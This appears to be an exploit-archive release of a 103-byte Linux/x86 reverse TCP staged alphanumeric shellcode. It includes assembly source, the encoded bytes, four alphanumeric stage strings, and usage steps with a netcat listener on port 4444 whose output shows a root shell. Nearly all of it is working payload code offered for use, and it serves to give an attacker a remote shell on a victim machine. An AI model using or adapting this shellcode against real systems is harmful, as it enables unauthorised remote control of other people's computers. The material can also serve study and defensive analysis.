Linux/x86 Reverse TCP Alphanumeric Staged Shellcode

103 bytes small Linux/x86 reverse TCP alphanumeric staged shellcode.


MD5 | 2c1496def1028a35176e13741c1ddcc9

########### Reverse TCP Staged Alphanumeric Shellcode Linux x86 Execve /bin/sh ########
########### Author: Snir Levi, Applitects #############
## 103 Bytes ##

date: 9.2.17
Automatic python shellcode handler (with stage preset send) will be ready soon:
https://github.com/snir-levi/Reverse_TCP_Alphanumeric_Staged_Shellcode_Execve-bin-bash/


IP - 127.0.0.1
PORT - 4444

#### Stage Alphanumeric shellcode: #####
Stage 1:
dup2 stdin syscall:

WXW[j?XV[WYPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXP

W push edi
X pop eax
W push edi
[ pop ebx
j? push 0x3f
X pop eax
V push esi
[ pop ebx
W push edi
Y pop ecx
P push eax
X pop eax
P push eax
X pop EAX

Stage 2:
dup2 stdout syscall:

WXW[j?XV[WYAPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPX

W push edi
X pop eax
W push edi
[ pop ebx
j? push 0x3f
X pop eax
V push esi
[ pop ebx
W push edi
Y pop ecx
A inc ecx (ecx =1)
P push eax
X pop eax
P push eax

Stage 3:
dup2 stderr syscall:

WXW[j?XV[WYAPXAPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXP

W push edi
X pop eax
W push edi
[ pop ebx
j? push 0x3f
X pop eax
V push esi
[ pop ebx
W push edi
Y pop ecx
A*2 inc ecx (ecx = 2)
P push eax
X pop eax
A inc ecx

Stage 3:
execve /bin/sh:

j0XHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHWYWZWh//shh/binT[

j0 push 0x30
X pop eax
H*32 dec eax //eax = 0x0b
W push edi
Y pop ecx
W push edi
Z pop edx
W push edi // null terminator
h//sh push 0x68732f2f //sh
h/bin push 0x6e69622f /bin
T push esp
[ pop ebx

Usage: Victim Executes the shellcode, and opens tcp connection

Stage:
After Connection is established, send the 4 stages ***separately***

nc -lvp 4444
connect to [127.0.0.1] from localhost [127.0.0.1] (port)
WXW[j?XV[WYPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXP
WXW[j?XV[WYAPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPX
WXW[j?XV[WYAPXAPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXP
j0XHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHWYWZWh//shh/binT[

whoami
root
id
uid=0(root) gid=0(root) groups=0(root)


global _start


_start:

; sock = socket(AF_INET, SOCK_STREAM, 0)
; AF_INET = 2
; SOCK_STREAM = 1
; syscall number 102 - socketcall
; socket = 0x01

xor eax,eax
xor esi,esi
push eax
pop edi
push eax
mov al, 0x66
push byte 0x1
pop ebx
push byte ebx
push byte 0x2
mov ecx, esp
int 0x80

xchg esi, eax; save sock result

; server.sin_family = AF_INET
; server.sin_port = htons(PORT)
; server.sin_addr.s_addr = inet_addr("127.0.0.1")

push byte 0x1
pop edx
shl edx, 24
mov dl, 0x7f ;edx = 127.0.0.1 (hex)
push edx
push word 0x5c11 ;port 4444
push word 0x02

; connect(sock, (struct sockaddr *)&server, sockaddr_len)

mov al, 0x66
mov bl, 0x3
mov ecx, esp
push byte 0x10
push ecx
push esi
mov ecx ,esp
int 0x80


stageAddress: ;saves stage address to edx
mov edx, [esp]
sub bl,3
jnz stage

call near stageAddress

;recv(int sockfd, void *buf, size_t len, int flags);

stage:
mov al, 0x66
mov bl, 10
push edi
push word 100 ; buffer size
push edi
push esi ; socketfd
mov [esp+4],esp ; sets esp as recv buffer
mov ecx,esp
int 0x80
mov al, 0xcd
mov ah, 0x80 ; eax = int 0x80
mov bl, 0xFF
mov bh, 0xE2 ; ebx = jmp edx
mov [esp+57],al
mov [esp+58],ah
mov [esp+59], ebx ;the end of the buffer contains the syscall command int 0x80 and jmp back to stage
jmp esp



unsigned char[] = "\x31\xc0\x31\xf6\x50\x5f\x50\xb0\x66\x6a\x01\x5b\x53\x6a
\x02\x89\xe1\xcd\x80\x96\x6a\x01\x5a\xc1\xe2\x18\xb2\x7f\x52
\x66\x68\x11\x5c\x66\x6a\x02\xb0\x66\xb3\x03\x89\xe1\x6a\x10\x51\x56\x89\xe1
\xcd\x80\x8b\x14\x24\x80\xeb\x03\x75\x05\xe8\xf3\xff\xff\xff
\xb0\x66\xb3\x0a\x57\x66\x6a\x64\x57\x56\x89\x64\x24\x04\x89\xe1\xcd\x80\xb0
\xcd\xb4\x80\xb3\xff\xb7\xe2\x88\x44\x24\x39\x88\x64\x24\x3a
\x89\x5c\x24\x3b\xff\xe4"



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